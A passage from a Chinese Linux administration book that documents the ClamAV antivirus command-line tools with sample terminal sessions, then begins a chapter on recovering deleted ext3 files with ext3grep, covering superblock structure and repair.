clamd守护进程监听从UNIX或TCP套接字中进入的连接，守护进程对目录和文件进行扫描。clamd会读取配置文件，然后根据配置文件的指定去执行，使用libclamav扫描文件或者病毒。

本书中，ClamAV装在/usr/local/clamav目录下，配置文件在/usr/local/clamav/etc/clamd.conf。不同版本的clamd识别的命令也有差别，而且不同版本中同一个命令的使用方法也有差别，本文中提到的命令是在最新版本0.96下clamd能够识别的命令，具体如下。

PING、VERSION、RELOAD、SHUTDOWN、SCAN、RAWSCAN、CONTSCAN、MULTISCAN、INSTREAM、FILDES、STATS、IDSESSION、END和STREAM。

3．命令

推荐使用带有字母“z”前缀的clamd 命令，例如 zSCAN，以表明命令是通过NULL 字符（空字符）做界限划定，这样clamd会继续读取命令行数据直到读取到一个空字符。空格定界符确保了命令及其参数作为一个单独的命令；另外还有一种选择是使用带有字母“n”前缀的clamd命令，例如nSCAN，它表明使用换行符作为分隔符，clamd会依次执行命令。如果clamd不认可一个命令，或者命令所带的参数有误，那么clamd会报告错误，并且断开连接。

clamd支持的命令具体功能如表14.1所示。


表14.1 clamd支持的命令

[image: figure_0298_0124]



续表

[image: figure_0299_0125]


废弃的命令如表14.2所示。


表14.2 废弃的命令

[image: figure_0299_0126]


不支持的命令如表14.3所示。


表14.3 不支持的命令

[image: figure_0299_0127]


4．clamd命令选项如表14.4所示。


表14.4 clamd命令选项

[image: figure_0299_0128]


5．举例

（1）SCAN

[root@mail g]# telnet 192.168.3.34 3310

Trying 192.168.3.34...

Connected to nas (192.168.3.34).

Escape character is '^]'.

SCAN /usr/local

/usr/local: OK

（2）VERSION

[root@mail ～]# telnet 127.0.0.1 3310

Trying 127.0.0.1...

Connected to localhost.localdomain (127.0.0.1).

Escape character is '^]'.

VERSION

ClamAV 0.96/10774/Wed Apr 21 19:40:45 2010

Connection closed by foreign host.

（3）nVERSIONCOMMANDS

[root@mail boot]# telnet 127.0.0.1 3310

Trying 127.0.0.1...

Connected to localhost.localdomain (127.0.0.1).

Escape character is '^]'.

nVERSIONCOMMANDS

ClamAV 0.96/10774/Wed Apr 21 19:40:45 2010| COMMANDS: SCAN QUIT RELOAD PING CONTSCAN VERSIONCOMMANDS VERSION STREAM END SHUTDOWN MULTISCAN FILDES STATS IDSESSION INSTREAM

Connection closed by foreign host.




14.3.2 clamconf


clamconf即ClamAntiVirus的配置文件工具

1．语法格式

clamconf [options]

2．描述

clamconf 显示配置文件中选项的值。

3．选项，如表14.5所示。


表14.5 clamconf的选项

[image: figure_0300_0129]


4．举例

（1）在指定的目录下搜索配置文件（本例中没有搜索到）

[root@nas bin]# ./clamconf -c /usr/local/

Checking configuration files in /usr/local/

clamd.conf not found

freshclam.conf not found

clamav-milter.conf not found

Software settings

-----------------

Version: 0.95.3

Optional features supported: MEMPOOL IPv6 CLAMUKO AUTOIT_EA06 BZIP2 RAR

Database directory: /usr/local/clamav/share/clamav

main.cld: version 52, sigs: 704727, built on Mon Feb 15 22:54:51 2010

daily.cvd: version 10582, sigs: 25535, built on Tue Mar 16 08:26:50 2010

（2）只显示非默认变量的设置

[root@nas bin]# ./clamconf --non-default

Checking configuration files in /usr/local/clamav/etc

Config file: clamd.conf

-----------------------

LogFile = "/tmp/clamd.log"

LogTime = "yes"

LocalSocket = "/tmp/clamd.socket"

TCPSocket = "3310"

Config file: freshclam.conf

---------------------------

DatabaseMirror = "database.clamav.net"

clamav-milter.conf not found

Software settings

-----------------

Version: 0.95.3

Optional features supported: MEMPOOL IPv6 CLAMUKO AUTOIT_EA06 BZIP2 RAR

Database directory: /usr/local/clamav/share/clamav

main.cld: version 52, sigs: 704727, built on Mon Feb 15 22:54:51 2010

daily.cvd: version 10582, sigs: 25535, built on Tue Mar 16 08:26:50 2010

（3）生成clamav-milter.conf示例配置文件

[root@nas bin]# ./clamconf --generate-config=clamav-milter.conf

##

## clamav-milter.conf - automatically generated by clamconf 0.95.3

##

# Comment out or remove the line below.

Example

# Save all reports to a log file.

# Default: disabled

#LogFile /tmp/clamav.log

# By default the log file is locked for writing and only a single

# daemon process can write to it. This option disables the lock.

# Default: no

#LogFileUnlock yes

……

生成的示例性配置文件都显示在了屏幕上，可以使用“>”定向到文件，然后在此基础上修改。




14.3.3 clamdscan


clamdscan是一个clamd的客户端。

1．语法格式

clamdscan [options] [file/directory]

2．描述

clamdscan 使用Clam AntiVirus 守护进程扫描。clamdscan是一个clamd 的客户端，被用来替代clamscan命令。clamdscan可以接受所有的clamscan支持的选项，但是大多数的选项会被忽略，因为clamdscan的扫描能力决定于clamd，换句话说clamdscan完全依赖于clamd。

3．选项见表14.6


表14.6 clamdscan的选项

[image: figure_0302_0130]


4．举例

（1）扫描一个文件

[root@nas bin]# ./clamscan /sdc/SFU35SEL_EN.exe

/sdc/SFU35SEL_EN.exe: OK

----------- SCAN SUMMARY -----------

Known viruses: 729565

Engine version: 0.95.3

Scanned directories: 0

Scanned files: 1

Infected files: 0

Data scanned: 0.00 MB

Data read: 217.61 MB (ratio 0.00:1)

Time: 2.106 sec (0 m 2 s)

（2）扫描当前的目录

[root@nas sdb]# /usr/local/clamav/bin/clamdscan

/sdb: OK

----------- SCAN SUMMARY -----------

Infected files: 0

Time: 12.022 sec (0 m 12 s)

（3）扫描指定的目录

[root@nas sdb]# /usr/local/clamav/bin/clamdscan /etc/

/etc: OK

----------- SCAN SUMMARY -----------

Infected files: 0

Time: 21.224 sec (0 m 21 s)

（4）当clamd作为不同的用户运行时扫描文件

[tt@nas ～]$ /usr/local/clamav/bin/clamdscan /sdb

/sdb: OK

----------- SCAN SUMMARY -----------

Infected files: 0

Time: 10.281 sec (0 m 10 s)

[tt@nas ～]$ /usr/local/clamav/bin/clamdscan --fdpass /sdb

ERROR: Can't access file /sdb/lost+found

/sdb/lib/dbus-1/dbus-daemon-launch-helper: Access denied. ERROR

----------- SCAN SUMMARY -----------

Infected files: 0

Time: 10.148 sec (0 m 10 s)

区别于使用--fdpass。

（5）扫描标准输入

格式为

clamdscan -<file_to_scan

或

cat file_to_scan | clamdscan –

[root@nas sdb]# /usr/local/clamav/bin/clamdscan - < bash

fd[10]: OK

----------- SCAN SUMMARY -----------

Infected files: 0

Time: 0.083 sec (0 m 0 s)

[root@nas sdb]# cat bash | /usr/local/clamav/bin/clamdscan -

stream: OK

----------- SCAN SUMMARY -----------

Infected files: 0

Time: 0.085 sec (0 m 0 s)

5．返回代码

0 :没有发现病毒

1 :有病毒发现

2 :有错误发生




14.3.4 clamdtop


clamdtop监视Clam AntiVirus 守护进程。可以同时监控多个clamd 服务器，可以监控本地和远程的clamd服务器，还可以指定不同的配置文件来监控。

1．语法格式

clamdtop [options] [clamdspec ...]

命令格式如下。

clamdtop [-hVc] [host[:port] /path/to/clamd.socket ...]

2．选项，如表14.7所示。


表14.7 clamdtop的选项

[image: figure_0304_0131]


3．clamdspec

指定clamd 的连接。可能是连接到本地的路径（unix domain），使用UNIX 套接字，也可能是IP地址和端口号（默认是3310）连接到本地或远程，使用TCP/IP套接字。

如果用clamdtop监控多个clamd，那么clamdtop就有一个默认的clamd监控。可以通过键盘上的上下箭头来监控任何一个clamd。高亮的蓝色行所在的clamd就是当前正在监控的clamd，屏幕上显示的详细信息也正是该clamd。clamdtop的显示是两秒钟升级（刷新）一次。

4．描述

clamdtop是监控一个或多个clamd的工具。它是一个Ncurses界面（Ncurses是一个能提供基于文本终端窗口功能的动态库），界面显示了clamd的工作队列、内存使用率以及关于载入签名数据库（signature database）的信息。可以在命令行指定监控的clamd 守护进程（一个或多个）。默认clamdtop会连接本地clamd。

[image: figure_0305_0132]


注意：

如果想了解更多关于ncurses的信息。可以到如下网址

http://www.gnu.org/software/ncurses/

查看，以便对ncurses有更好的了解。

5．clamdtop界面如图14.1所示。

[image: figure_0305_0133]
图14.1 clamdtop的界面



（1）顶部部分（The top bar）

显示clamdtop的版本和当前系统的时间。

（2）clamd 列表（The list of clamds）

显示clamdtop连接的clamds，以及clamds的状态。如表14.8所示。


表14.8 clamd列表

[image: figure_0305_0134]


（3）详细查看clamd（clamd detailed view）部分

Primary threads 部分有如下3 个选项。

Live、idle和max，这三项后面都有一个数据值。如表14.9所示。


表14.9 Primary threads的选项

[image: figure_0306_0135]


Queue部分有如下2个选项。

Items和Queue，这两个选项前面都有个数值，功能如表14.10所示。


表14.10 Queue的选项

[image: figure_0306_0136]


查看内存使用（The memory usage view）部分。

如果有效，那么会显示clamd 的详细信息，如表14.11 所示。


表14.11 内存使用情况

[image: figure_0306_0137]


（4）clamd 工作队列（The clamd job queue）部分


表14.12 clamd工作队列

[image: figure_0306_0138]


（5）监控屏幕下可用的键


表14.13 监控屏幕下的可用键

[image: figure_0307_0139]


[image: figure_0307_0140]


注意：

如果终端能提供多种颜色，clamdtop 会使用多种颜色。如果确定所使用的终端支持多种颜色，但仍然还没有看到“ncurses”式的界面，那么就要检查TERM变量的设置是否正确。

6．举例

（1）使用clamd默认的配置文件clamd.conf连接。

[root@nas ～]# /usr/local/clamav/bin/clamdtop

__　　　　____

_____/ /___ _____ ___ ____/ / /_____ ____

/ ___/ / __ '/ __ '__ \/ __ / __/ __ \/ __ \

/ /__/ / /_/ / / / / / / /_/ / /_/ /_/ / /_/ /

\___/_/\__,_/_/ /_/ /_/\__,_/\__/\____/ .___/

/_/

Connecting to: /tmp/clamd.socket

（2）使用其他的clamd配置文件clamd.conf连接。

[root@nas ～]# /usr/local/clamav/bin/clamdtop --config-file=/etc/clamd.conf

（3）监控本地和两个远程clamd（通过TCP/IP），如图14.2所示。

[image: figure_0307_0141]
图14.2 监控本地和远程clamd



（4）连接clamd运行在局域网的其他机器（192.168.3.34）。

[root@nas ～]# /usr/local/clamav/bin/clamdtop 192.168.3.34

__　　　　____

_____/ /___ _____ ___ ____/ / /_____ ____

/ ___/ / __ '/ __ '__ \/ __ / __/ __ \/ __ \

/ /__/ / /_/ / / / / / / /_/ / /_/ /_/ / /_/ /

\___/_/\__,_/_/ /_/ /_/\__,_/\__/\____/ .___/

/_/

Looking up: 192.168.3.34

Connecting to: 192.168.3.34:3310

（5）连接clamd运行在局域网的其他机器上（192.168.3.37），但不是默认的端口（3310）。

[root@nas ～]# /usr/local/clamav/bin/clamdtop 192.168.3.37:3410

__　　　　____

_____/ /___ _____ ___ ____/ / /_____ ____

/ ___/ / __ '/ __ '__ \/ __ / __/ __ \/ __ \

/ /__/ / /_/ / / / / / / /_/ / /_/ /_/ / /_/ /

\___/_/\__,_/_/ /_/ /_/\__,_/\__/\____/ .___/

/_/

Looking up: 192.168.3.37

Connecting to: 192.168.3.37:3410

7．返回代码

0 :正常终结

>0: 错误发生




14.3.5 clamscan


1．语法格式

clamscan [options] [file/directory/-]

2．描述

clamscan是一个命令行病毒扫描器，为文件或目录扫描病毒，它会从clamd.conf文件中读取配置信息。

很多选项是简单的通过“启用/禁用”来选择是支持还是不支持一些功能，选项的值通过[=yes/no(*)]来指定。

3．选项

(*) 默认的扫描设置

(**) 某些文件（例如文本文件、归档文件等等）可能包含在另一个文件里，表 14.14 所示选项确保安全处理这类数据。


表14.14 clamscan的参数

[image: figure_0308_0142]



续表

[image: figure_0309_0143]



续表

[image: figure_0310_0144]


4．举例

（1）扫描单个文件

[root@nas sdb]# /usr/local/clamav/bin/clamscan /sdc/genHot.jar

/sdc/genHot.jar: OK

----------- SCAN SUMMARY -----------

Known viruses: 729565

Engine version: 0.95.3

Scanned directories: 0

Scanned files: 1

Infected files: 0

Data scanned: 3.98 MB

Data read: 1.85 MB (ratio 2.15:1)

Time: 5.153 sec (0 m 5 s)

（2）扫描当前目录

[root@nas bd]# /usr/local/clamav/bin/clamscan

/sdb/bd/4.txt: OK

/sdb/bd/1.txt: Eicar-Test-Signature FOUND

/sdb/bd/2.txt: OK

/sdb/bd/3.txt: OK

----------- SCAN SUMMARY -----------

Known viruses: 729565

Engine version: 0.95.3

Scanned directories: 1

Scanned files: 4

Infected files: 1

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 0.00:1)

Time: 2.023 sec (0 m 2 s)

（3）扫描指定目录下的所有文件和子目录

[root@nas /]# /usr/local/clamav/bin/clamscan -r /sdb/bd

/sdb/bd/4.txt: OK

/sdb/bd/1.txt: Eicar-Test-Signature FOUND

/sdb/bd/2.txt: OK

/sdb/bd/3.txt: OK

/sdb/bd/bd2/v.vbs: Worm.VBS FOUND

/sdb/bd/bd2/i.jsp: OK

/sdb/bd/bd2/index.html: OK

----------- SCAN SUMMARY -----------

Known viruses: 729565

Engine version: 0.95.3

Scanned directories: 2

Scanned files: 7

Infected files: 2

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 1.00:1)

Time: 2.065 sec (0 m 2 s)

（4）从指定的文件载入数据库

[root@nas clamav]# /usr/local/clamav/bin/clamscan -d /tmp/clamav -r /sdb/bd/

/sdb/bd/4.txt: OK

/sdb/bd/1.txt: Eicar-Test-Signature FOUND

/sdb/bd/2.txt: OK

/sdb/bd/3.txt: OK

/sdb/bd/bd2/v.vbs: Worm.VBS FOUND

/sdb/bd/bd2/i.jsp: OK

/sdb/bd/bd2/index.html: OK

----------- SCAN SUMMARY -----------

Known viruses: 732983

Engine version: 0.95.3

Scanned directories: 2

Scanned files: 7

Infected files: 2

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 1.00:1)

Time: 3.447 sec (0 m 3 s)

（5）扫描数据流

[root@nas bd]# cat /sdb/bd/1.txt |/usr/local/clamav/bin/clamscan -

stdin: Eicar-Test-Signature FOUND

----------- SCAN SUMMARY -----------

Known viruses: 729565

Engine version: 0.95.3

Scanned directories: 0

Scanned files: 1

Infected files: 1

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 0.00:1)

Time: 2.127 sec (0 m 2 s)

（6）扫描邮件目录

[root@nas bd]# /usr/local/clamav/bin/clamscan -r /var/spool/mail

（7）扫描当前目录，但是不扫描扩展名为“.txt”的文件。

[root@nas bd]# /usr/local/clamav/bin/clamscan --exclude=.txt

/sdb/bd/dazuko-2.3.8.tar.gz.asc: OK

/sdb/bd/4.txt: Excluded

/sdb/bd/1.txt: Excluded

/sdb/bd/dazuko-2.3.8.tar.gz: OK

/sdb/bd/2.txt: Excluded

/sdb/bd/3.txt: Excluded

----------- SCAN SUMMARY -----------

Known viruses: 729565

Engine version: 0.95.3

Scanned directories: 1

Scanned files: 2

Infected files: 0

Data scanned: 2.53 MB

Data read: 0.19 MB (ratio 13.50:1)

Time: 2.551 sec (0 m 2 s)

5．返回代码

注意，一些返回代码仅出现在单个文件的扫描模式（a single file mode）中,在下面的代码中用（ofm）标出。

0 :没有发现病毒

1 :发现病毒

40:传递了不能识别的选项

50:数据库初始化错误

52:不支持的文件类型

53:打不开目录

54:打不开文件（ofm）

55:读文件错误（ofm）

56:无法统计输入文件/目录

57:不能得到当前工作目录的绝对路径

58: I/O 错误，请检测文件系统

62:不能初始化logger

63:不能创建文件/目录（检测权限）

64:不能够向临时目录写文件（请指定其他目录）

70:不能够分配内存（calloc）

71:不能够分配内存（malloc）




14.3.6 freshclam


freshclam是ClamAV默认的病毒数据库升级工具。

1．语法格式

freshclam [options]

2．描述

freshclam是ClamAV默认的病毒数据库升级工具，它有3种执行方式。

第一种是命令行方式，也叫交互模式（interactive mode）。在Shell 界面下执行freshclam命令。

[root@nas bin]# ./freshclam

ClamAV update process started at Tue Mar 16 13:50:10 2010

Downloading main-52.cdiff [100%]

main.cld updated (version: 52, sigs: 704727, f-level: 44, builder: sven)

WARNING: getfile: daily-9956.cdiff not found on remote server (IP: 193.1.193.64)

WARNING: getpatch: Can't download daily-9956.cdiff from database.clamav.net

WARNING: getfile: daily-9956.cdiff not found on remote server (IP: 120.29.176.126)

WARNING: getpatch: Can't download daily-9956.cdiff from database.clamav.net

Trying host database.clamav.net (61.177.194.226)...

WARNING: getfile: daily-9956.cdiff not found on remote server (IP: 61.177.194.226)

WARNING: getpatch: Can't download daily-9956.cdiff from database.clamav.net

WARNING: Incremental update failed, trying to download daily.cvd

Trying host database.clamav.net (211.239.150.206)...

Downloading daily.cvd [100%]

daily.cvd updated (version: 10582, sigs: 25535, f-level: 44, builder: guitar)

Database updated (730262 signatures) from database.clamav.net (IP: 211.239.150.206)

第二种是后台服务运行方式。

[root@nas bin]# ./freshclam -d

第三种是cron或at后台定时运行方式。

[root@nas bin]# crontab -e

2 * * * * /usr/local/clamav/bin/ freshclam --quiet

3．选项

freshclam读取自己的配置文件freshclam.conf。命令行设置的选项将会替代配置文件中的变量设置。如表14.15所示。


表14.15 freshclam的选项

[image: figure_0313_0145]



续表

[image: figure_0314_0146]


4．举例

（1）下载数据库到默认的目录

[root@nas bin]# ./freshclam

（2）下载数据库到当前目录

[root@nas bin]# ./freshclam --datadir=.

（3）作为守护进程运行，每天检测两次新数据库

[root@nas bin]# ./freshclam -d -c 2

5．返回代码

freshclam的一些返回代码可以被内置的命令EXIT_n覆盖。

例如--on-update-execute=EXIT_1，那么成功升级数据库后将迫使freshclam总是返回1。

0 :数据库成功升级

1 :数据库是最新的

40:传递了不能识别的选项

50:不能够改变目录

51:不能够检测MD5 校验和

52:连接问题（network）

53:不能断开链接文件

54: MD5 或数字签名校验出错

55:读文件错误

56:配置文件错误

57:不能创建新文件

58:不能从远程服务器读取数据库

59:镜像不能完全同步（稍后再试）

60:不能够从/etc/passwd 文件中找到关于用户“clamav”的信息

61:特权用户不能降级

62:不能初始化logger




14.3.7 sigtool


sigtool是签名及数据库管理工具。

1．语法格式

sigtool [options]

2．描述

sigtool 被用于产生 MD5 校验和、数据转换成十六进制的格式和列出病毒签名、将数据转化为十六进制格式，列出病毒签名、建立（build）/解包（unpack）/测试（test）/校验（verify）CVD数据库和升级脚本（update scripts）。

3．选项


表14.16 sigtool的选项

[image: figure_0315_0147]



续表

[image: figure_0316_0148]


4．举例

（1）从testfile 产生十六进制字符串，然后再保存到testfile.hex

[root@nas bin]#cat testfile|./sigtool --hex-dump > testfile.hex

（2）生成MD5校验和

[root@nas bin]# ./sigtool --md5 sigtool

1e9a1025d48a9cb505e80c7fa99404f8:194176:sigtool

↑MD5校验和　　↑文件大小 ↑文件名

（3）列出病毒签名的名字

[root@nas clamav]#sigtool --list-sigs daily.cvd

Exploit.HTML.ObjectType

HTML.Phishing.Bank-1

Exploit.HTML.MHTRedir.1n

Exploit.HTML.MHTRedir.2n

Exploit.HTML.MHTRedir.3n

Exploit.HTML.DragDrop

HTML.Phishing.Bank-4

W32.MyLife.E

Trojan.Downloader.Small-140

……

（4）显示文件daily.cvd的信息

[root@nas bin]# ./sigtool -i /usr/local/clamav/share/clamav/daily.cvd

File: /usr/local/clamav/share/clamav/daily.cvd

Build time: 15 Mar 2010 20:26 -0400

Version: 10582

Signatures: 25535

Functionality level: 44

Builder: guitar

MD5: 5869fa5b35beea417a951edf4f3e9736

Digital　　signature:　　r40cWwn+jVlFjYn4WaXzPBG4doMoDGoh65a66gz43Gby3HD/thd6sQi7EPkBNPAs2z0QVg3Vu6kTWzZDESRpksYXdxxC3VZZyf8zuO6l7LUyqpOP1eJ6s/Ujf2baw2XrtiSRw35RYuuNA1VTUX084gKeyGeP/mboK+cEltxN/4e

Verification OK.

（5）建立标准化的（normalised）HTML文件

[root@nas html# wget www.126.com

--11:06:01-- http://www.126.com/

Resolving www.126.com... 123.125.50.22

Connecting to www.126.com|123.125.50.22|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 21203 (21K) [text/html]

Saving to: 'index.html'

100%[=======================================>] 21,203　--.-K/s　in 0.1s

11:06:11 (181 KB/s) - 'index.html' saved [21203/21203]

[root@nas html]# ls

index.html

[root@nas html]# sigtool --html-normalise=index.html

[root@nas html]# ls

index.html　notags.html　nocomment.html　rfc2397

nocomment.html：这个文件被规范化，小写、去掉所有注释和多余空格；

notags.html：同nocomment.html，但是去掉了HTML tags；

rfc2397：这个目录通常为空。




14.3.8 clamav-config


该命令查询和改变libclamav的编译环境。

1．语法格式

clamav-config [OPTION]

2．描述

查询和改变libclamav的编译环境。

3．选项


表14.17 clamav-config的选项

[image: figure_0317_0149]


4．举例

（1）显示libclamav编译的信息

[root@nas bin]# ./clamav-config --libs

-L/usr/local/clamav/lib -lz -lbz2

（2）显示预处理和编译器的flags

[root@nas bin]# ./clamav-config --cflags

-I/usr/local/clamav/include -g -O2



下篇 恢复人为删除的文件


第15章 对ext3下的文件恢复

第16章 对ext4下的文件恢复




第15章 对ext3下的文件恢复


任何一个系统管理员，包括有经验的用户和新手，误删除一个有用的文件是迟早会发生的事。发生了这种事，后果你比谁都清楚。别人删除了文件找你，你还有的说，自己删的那就什么也别说了，想办法找回吧！

ext2文件系统现在用的很少了，而且也比较好恢复，在这里就不说了。现在用的最多的是ext3文件系统。ext4也已经成熟，有不少Linux的发行版本中已经开始使用。

本章就针对ext3文件系统进行文件恢复，在下一章中将进行ext4文件系统的文件恢复。注意ext3grep只对ext3文件系统有效。




15.1 下载并安装ext3grep


工具ext3grep是一款开源软件，功能比较强大，但遗憾的是这个项目没有自己的主页，也没有相关的文档，在该地址http://code.google.com/p/ext3grep/可以找到相关的下载链接，当前最新的版本为0.10.2。另外在这个比较干净的页面上，你必须注意到链接“here”，如图15.1所示，在这里你可以找到你想要的东西，我们在后面会用到这个文档。

[image: figure_0321_0150]
图15.1 ext3grep的主页



1．下载ext3grep

[root@nas ～]#wget http://ext3grep.googlecode.com/files/ext3grep-0.10.2.tar.gz

2．解压并安装

[root@nas ～]# tar -zxvf ext3grep-0.10.2.tar.gz

[root@nas ～]#cd ext3grep-0.10.2

[root@nas ext3grep-0.10.2]# ./configure --prefix=/usr/local/ext3grep

[root@nas ext3grep-0.10.2]# make

[root@nas ext3grep-0.10.2]# make check

[root@nas ext3grep-0.10.2]# make install

……

make[2]: Entering directory '/root/ext3grep-0.10.2/src'

make[3]: Entering directory '/root/ext3grep-0.10.2/src'

test -z "/usr/local/ext3grep/bin" || /bin/mkdir -p "/usr/local/ext3grep/bin"

/usr/bin/install -c ext3grep '/usr/local/ext3grep/bin'

make[3]: Nothing to be done for 'install-data-am'.

make[3]: Leaving directory '/root/ext3grep-0.10.2/src'

……

3．ext3grep的使用方法

从安装的结果来看，只有一个ext3grep文件，连man文档都没有，只能通过该命令的帮助获取信息了。

[root@nas bin]# ./ext3grep --help

Running ext3grep version 0.10.2

Usage: ./ext3grep [options] [--] device-file

…… //省略

分析理解一下上面省略的参数，我们将它分为3部分来分析，以便于了解ext3grep的功能。

选项（Options）见表15.1。


表15.1 ext3grep的基本选项

[image: figure_0322_0151]


过滤器（Filters）见表15.2。

通过使用过滤器，可以过滤感兴趣的数据，以便在零乱的数据中找到有用的东西。


表15.2 ext3grep的过滤器

[image: figure_0322_0152]


动作（Actions）见表15.3。


表15.3 ext3grep可执行的操作
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续表

[image: figure_0323_0154]





15.2 恢复认为损坏的文件


对于每一个使用Linux操作系统的用户来说，往往在瞬间敲下回车键时才发现自己犯了错误。其实犯这种错误是迟早的事，说句不太得体的话，常在河边走哪有不湿鞋。但是真要是犯了这种错误，那可是哭都来不及了。记不清是哪年了，有一位同事误删除了一个重要的目录，问我怎么办，我说没有办法抱头哭去吧！故事归故事，在这种删除重要文件且没有备份的情况下，只有一种办法就是数据恢复。幸运的是在ext3文件系统中，还是有办法把删除的文件找到。




15.2.1 ext3如何存储文件


为了更好地使用ext3grep，首先有必要了解一下ext3的结构。总体的结构是块、块组，其中超级块是一个特殊的块，它存储着ext3的基本格局信息。为了保护超级块，在磁盘中还有一些备份超级块的特殊块。节点是ext3中的一个重要概念，它用来存储文件及目录的元数据，并且用节点表存储节点。

1．块大小（Block sizes）

文件的目录被存储在4096个字节相邻的块中（真实的大小依赖于使用mke2fs指定的数值，在建立文件系统时，可以指定1024、2048或4096，默认为4096，但不得小于1024）。硬盘是一个块设备，这就意味着每一个I/O操作都将会与这些块协商。实际块的大小，也就是实际fragment大小，被存储在superblock中，可以通过选项--superblock设置，示例如下。

[root@nas /]# ext3grep /dev/sdb1 --superblock | grep 'size:'

Block size: 4096

Fragment size: 4096

存储在superblock中的Blocks总数。

[root@nas /]# ext3grep /dev/sdb1 --superblock | grep 'Blocks count:'

Blocks count: 19531015

可以计算一下4096×19531015正好是该磁盘的空间大小。

通过块号可以显示有关该块的信息，在命令行使用--block选项就可以。

[root@nas /]# ext3grep /dev/sdb1 --ls --block 600

Running ext3grep version 0.10.2

Number of groups: 597

Loading group metadata... done

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1266736861 =Sun Feb 21 15:21:01 2010

Number of descriptors in journal: 1865; min / max sequence numbers: 97 / 308

Group: 0

Block 600 is Allocated.

Block 600 appears to be an (double/tripple) indirect block.

2．超级块（superblock）

超级块不是一个真正的块，它的大小总是1024字节，并且第一个超级块开始于磁盘的第1024字节处。因此，如果块的大小为 1024 字节，那么 superblock 的块号是 1，但是如果块的大小为2048或4096字节，那么superblock 部分的块号为0。

在超级块中包含了磁盘的信息，例如块的大小、片断（Fragment）大小、块组数、每个块组包括的块数、每组节点数、总节点数和总块数等等。超级块有多个备份分布在整个磁盘中。

下面是一个建立ext3文件系统的实例。

[root@nas ～]# mkfs.ext3 /dev/sdb1

mke2fs 1.39 (29-May-2006)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

9781248 inodes, 19531015 blocks

976550 blocks (5.00%) reserved for the super user

First data block=0

Maximum filesystem blocks=0

597 block groups

32768 blocks per group, 32768 fragments per group

16384 inodes per group

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424

Writing inode tables: done

Creating journal (32768 blocks): done

Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 21 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

在中间部分用黑体字标出的，就是备份的 Superblock，如果可能的话要把它记录下来，以备不测。例如，出现下列提示响应。

[root@fts ～]#mount /dev/sdb1 /sdb

mount: wrong fs type, bad option, bad superblock on /dev/sdc1,

or too many mounted file systems

这说明superblock已经损坏。在这种情况下，磁盘中还有重要的文件，那么就得修复磁盘。这时候就用得上这些备份 superblock 了，当然没有记录这些备份 superblock 也没关系，使用mkfs.ext3命令的-n参数还能找到备份superblock。

[root@nas ～]# mkfs.ext3 -n /dev/sdb1

mke2fs 1.39 (29-May-2006)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

9781248 inodes, 19531015 blocks

976550 blocks (5.00%) reserved for the super user

First data block=0

Maximum filesystem blocks=0

597 block groups

32768 blocks per group, 32768 fragments per group

16384 inodes per group

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424

Writing inode tables: done

Creating journal (32768 blocks): done

Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 21 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

下面将使用fsck.ext3命令的-b参数来修复ext3文件系统。

[root@nas ～]# fsck.ext3 -b 2654208 /dev/sdb1

e2fsck 1.39 (29-May-2006)

/dev/sdb1 was not cleanly unmounted, check forced.

Pass 1: Checking inodes, blocks, and sizes

Pass 2: Checking directory structure

Pass 3: Checking directory connectivity

Pass 4: Checking reference counts

Pass 5: Checking group summary information

/dev/sdb1: ***** FILE SYSTEM WAS MODIFIED *****

/dev/sdb1: 11/9781248 files (9.1% non-contiguous), 352991/19531015 blocks

这样，一个损坏了超级块的磁盘就被修复了。

ext3grep的做法是假设第一个superblock没有损坏，也就不试图查找和读取备份的superblock。可以通过以下方法获取第一个superblock的内容。

[root@nas ～]# dd if=/dev/sdb1 bs=1024 skip=1 count=1 of=superblock

1+0 records in

1+0 records out

1024 bytes (1.0 kB) copied, 0.000378698 seconds, 2.7 MB/s

然后通过WinHex打开来查看。

这是一个没有挂载使用的磁盘，详见图15.2所示。

[image: figure_0326_0155]
图15.2 WinHex下没有挂载使用的磁盘的superblock



下面先来看一下Superblock的结构，然后再分析上面的内容。

以下是内核源码中的数据结构。

[root@bzd ～]# more /usr/include/linux/ext3_fs.h

......

/*

* Structure of the super block

*/

struct ext3_super_block {

/*00*/　__le32　s_inodes_count;　　　　/* Inodes count */

__le32　s_blocks_count;　　　　/* Blocks count */

__le32　s_r_blocks_count;　　　/* Reserved blocks count */

__le32　s_free_blocks_count;　　　/* Free blocks count */

/*10*/　__le32　s_free_inodes_count;　　/* Free inodes count */

__le32　s_first_data_block;　　　/* First Data Block */

__le32　s_log_block_size;　　　/* Block size */

__le32　s_log_frag_size;　　　　/* Fragment size */

/*20*/　__le32　s_blocks_per_group;　　　/* # Blocks per group */

__le32　s_frags_per_group;　　　/* # Fragments per group */

__le32　s_inodes_per_group;　　　/* # Inodes per group */

__le32　s_mtime;　　　　　　/* Mount time */

/*30*/　__le32　s_wtime;　　　　　/* Write time */

__le16　s_mnt_count;　　　　　/* Mount count */

__le16　s_max_mnt_count;　　　　/* Maximal mount count */

__le16　s_magic;　　　　　　/* Magic signature */

__le16　s_state;　　　　　　/* File system state */

__le16　s_errors;　　　　　/* Behaviour when detecting errors */

__le16　s_minor_rev_level;　　　/* minor revision level */

/*40*/ __le32　s_lastcheck;　　　　　/* time of last check */

__le32　s_checkinterval;　　　　/* max. time between checks */

__le32　s_creator_os;　　　　/* OS */

__le32　s_rev_level;　　　　　/* Revision level */

/*50*/ __le16　s_def_resuid;　　　　/* Default uid for reserved blocks */

__le16　s_def_resgid;　　　　/* Default gid for reserved blocks */

/*

* These fields are for EXT3_DYNAMIC_REV superblocks only.

*

* Note: the difference between the compatible feature set and

* the incompatible feature set is that if there is a bit set

* in the incompatible feature set that the kernel doesn't

* know about, it should refuse to mount the filesystem.

*

